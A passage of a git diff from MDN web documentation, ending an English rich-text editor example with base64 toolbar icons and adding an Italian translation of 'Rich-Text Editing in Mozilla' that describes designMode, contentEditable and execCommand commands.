iso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC"&gt;
+&lt;img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" /&gt;
+&lt;img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" /&gt;
+&lt;img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg=="&gt;
+&lt;img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" /&gt;
+&lt;img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" /&gt;
+&lt;img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /&gt;
+&lt;img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" /&gt;
+&lt;img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" /&gt;
+&lt;img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" /&gt;
+&lt;img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" /&gt;
+&lt;img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" /&gt;
+&lt;img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" /&gt;
+&lt;img class="intLink" title="Delete indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" /&gt;
+&lt;img class="intLink" title="Add indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" /&gt;
+&lt;img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&amp;&amp;sLnk!=''&amp;&amp;sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" /&gt;
+&lt;img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" /&gt;
+&lt;img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" /&gt;
+&lt;img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" /&gt;
+&lt;/div&gt;
+&lt;div id="textBox" contenteditable="true"&gt;&lt;p&gt;Lorem ipsum&lt;/p&gt;&lt;/div&gt;
+&lt;p id="editMode"&gt;&lt;input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /&gt; &lt;label for="switchBox"&gt;Show HTML&lt;/label&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<div class="note"><strong>Note:</strong> if you want to see how to standardize the creation and the insertion of your editor in your page, please see our <a class="internal" href="/@api/deki/files/6243/=rich-text-editor.zip" title="rich-text-editor.zip">more complete rich-text editor example</a>.</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>The {{htmlattrxref("contenteditable")}} global attribute</li>
+ <li><a href="/en-US/docs/Mozilla/Projects/Midas">Midas</a> (the scriptable text editor component)</li>
+ <li>{{cssxref("caret-color")}}, which lets you set the color of the text insertion caret</li>
+</ul>
diff --git a/files/it/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html b/files/it/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html
new file mode 100644
index 0000000000..0beccd9e00
--- /dev/null
+++ b/files/it/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html
@@ -0,0 +1,420 @@
+---
+title: Rich-Text Editing in Mozilla
+slug: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla
+translation_of: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla
+---
+<h3 id="Introduction" name="Introduction">Introduzione</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Mozilla 1.3 introduce un'implementazione della caratteristica designMode di Microsoft<sup>®</sup> Internet Explorer. In Mozilla 1.3, il supporto al rich-text editing supporta la caratteristica designMode che trasforma i documenti HTML in editor rich-text. Partendo da Firefox 3, Mozilla supporta anche l'attributo <code style="color: rgb(37, 34, 29); font-weight: inherit;">contentEditable</code> di Internet Explorer che permette a qualsiasi elemento di diventare un elemento modificabile o non (la seconda caratteristica viene usata per prevenire cambiamenti ad un elemento che non deve essere modificato).</p>
+
+<h3 id="Setting_Up_Rich-Text_Editing" name="Setting_Up_Rich-Text_Editing">Impostare il Rich-Text Editing</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Il Rich-text editing viene inizializzato tramite la proprietà <code style="color: rgb(37, 34, 29); font-weight: inherit;">designMode</code> di un documento ad "On", come un documento all'interno di un iframe. Una volta che <code style="color: rgb(37, 34, 29); font-weight: inherit;">designMode</code> viene impostato ad "On", il documento diventa un'area di rich-text editing e l'utente può digitare dentro questa come se fosse una textarea. The most basic keyboard commands such as copy and paste are available, all others need to be implemented by the website.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Allo stesso modo, impostando <code style="color: rgb(37, 34, 29); font-weight: inherit;">contentEditable</code> a "true" ti permette di rendere modificabili singoli elementi di un documento.</p>
+
+<h3 id="Executing_Commands" name="Executing_Commands">Eseguire i Comandi</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Quando un documento HTML viene impostato come modificabile con designMode, l'oggetto document rilascia il metodo  <code style="color: rgb(37, 34, 29); font-weight: inherit;">execCommand,</code> la quale permette di eseguire dei comandi per manipolare il contenuto dell'area modificabile. Molti comandi agiscono sulla selezione del testo nel documento (grassetto, corsivo, ecc), mentre altri inseriscono nuovi elementi (collegamenti) o agisco su un'intera riga (indentazione). Quando si usa <code style="color: rgb(37, 34, 29); font-weight: inherit;">contentEditable</code>, il metodo <code style="color: rgb(37, 34, 29); font-weight: inherit;">execCommand</code> coinvolgerà l'attuale elemento attivo modificabile.</p>
+
+<pre class="eval" style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; font: normal normal normal 12px/normal 'Courier New', 'Andale Mono', monospace; color: rgb(37, 34, 29);">execCommand(Stringa nomeComando, Booleano mostraUIPredefinita, Stringa valoreArgomento)
+</pre>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Argomenti</strong></p>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">Stringa nomeComando</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">il nome del comando</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">Booleano mostraUIPredefinita</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">se l'interfaccia utente standard deve essere visualizzata. Questa caratteristica non è implementata in Mozilla.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">Stringa valoreArgomento</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">alcuni comandi (come insertimage) richiedono un valore per un argomento extra (l'indirizzo dell'immagine). Passa un argomento oppure <code style="color: rgb(37, 34, 29); font-weight: inherit;">null</code>, se l'argomento non è necessario.</dd>
+</dl>
+</blockquote>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Comandi</strong></p>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">backColor</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Cambia il colore di sfondo del documento. In modalità styleWithCss invece, questo agisce sul colore di sfondo del blocco che lo contiene. Richiede un valore esadecimale do un colore da passare come argomento. (Internet Explorer usa questo comando per impostare il colore di sfondo del testo.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">bold</dt>
+ <dd>Attiva o disattiva il grassetto sulla selezione corrente o alla posizione del cursore. (Internet Explorer usa il tag STRONG al posto di B.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">contentReadOnly</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Rende il contenuto del documento modificabile o di sola lettura. Richiede una valore booleano true/false da passare come argomento. (Non è supportato da Internet Explorer.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">copy</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Copia l'attuale selezione del testo negli appunti. I permessi per usare questo comando devo essere abilitati nel file di configurazione user.js. Vedi </dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">createLink</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Crea un collegamento dalla selezione, solo se esiste la selezione. Richiede una stringa contenente l'indirizzo del collegamento da passare come argomento. L'indirizzo deve contenere almeno un unico carattere, che può essere uno spazio bianco. (Internet Explorer creerà un link con un valore null.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl>
+ <dt>cut</dt>
+</dl>
+
+<dl>
+ <dd>Copia l'attuale selezione del testo negli appunti. I permessi per usare questo comando devo essere abilitati nel file di configurazione user.js. Vedi </dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">decreaseFontSize</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Aggiunge un tag SMALL attorno alla selezione o alla posizione del cursore. (Non supportato da Internet Explorer.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">delete</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Cancella la selezione corrente.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">fontName</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Cambia il carattere alla selezione o alla posizione del cursore. Richiede una stringa, con il nome di un font ("Arial" per esempio) da passare come argomento.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">fontSize</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Cambia la dimensione del testo nella selezione o alla posizione del cursore. Richiede una dimensione HTML (1-7) da passare come argomento.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">foreColor</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Cambia il colore del testo alla selezione on alla posizione del cursore. Richiede una stringa con il valore esadecimale del colore da passare come argomento.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">formatBlock</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Aggiunge un tag di blocco-stile attorno alla selezione o alla posizione del cursore. Richiede una stringa con il nome del tag da passare come argomento. Praticamente possono essere usati tutti i blocchi di stile (es. "H1", "EM", "BUTTON", "TEXTAREA"). (Internet Explorer supporta soltanto i tags di intestazione H1 - H6, ADDRESS, e PRE, e devono essere racchiusi all'interno dei delimitatori &lt; &gt;, quindi l'argomento dovrà essere passato come "&lt;H1&gt;".)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">heading</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Aggiunge un'intestazione attorno la selezione o sulla riga in cui è posizionato il cursore. Richiede una stringa con il nome del tag da passare come argomento (es. "H1", "H6"). (Non supportato da Internet Explorer.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">hiliteColor</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Cambia il colore di sfondo della selezione o della posizione del cursore. Richiede una stringa con il valore esadecimale del colore da passare come argomento. UseCSS deve essere attivata per usare questa funzione. (Non supportato da Internet Explorer.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">increaseFontSize</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Aggiunge il tag BIG attorno alla selezione o alla posizione del cursore. (Non supportato da Internet Explorer.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">indent</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Aumenta il rientro dell'elemento all'interno della selezione corrente o alla posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">insertHorizontalRule</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Inserisce una horizontal rule alla posizione del cursore (elimina la selezione).</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">insertHTML</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Inserisce una stringa HTML alla posizione del cursore (elimina la selezione). Richiede una stringa HTML valida da passare come argomento. (Non supportata da Internet Explorer.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">insertImage</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Inserisce un'immagine alla posizione del cursore (elimina la selezione). Richiede una stringa contenente l'indirizzo dell'immagine da passare come argomento. L'indirizzo deve contenere almeno un unico carattere, che può essere uno spazio bianco. (Internet Explorer creerà un link con un valore null.)</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">insertOrderedList</dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Crea un elenco numerato all'interno della selezione corrente o alla posizione del cursore.</dd>
+</dl>
+</blockquote>
+
+<blockquote>
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">insertUnorderedList</dt>
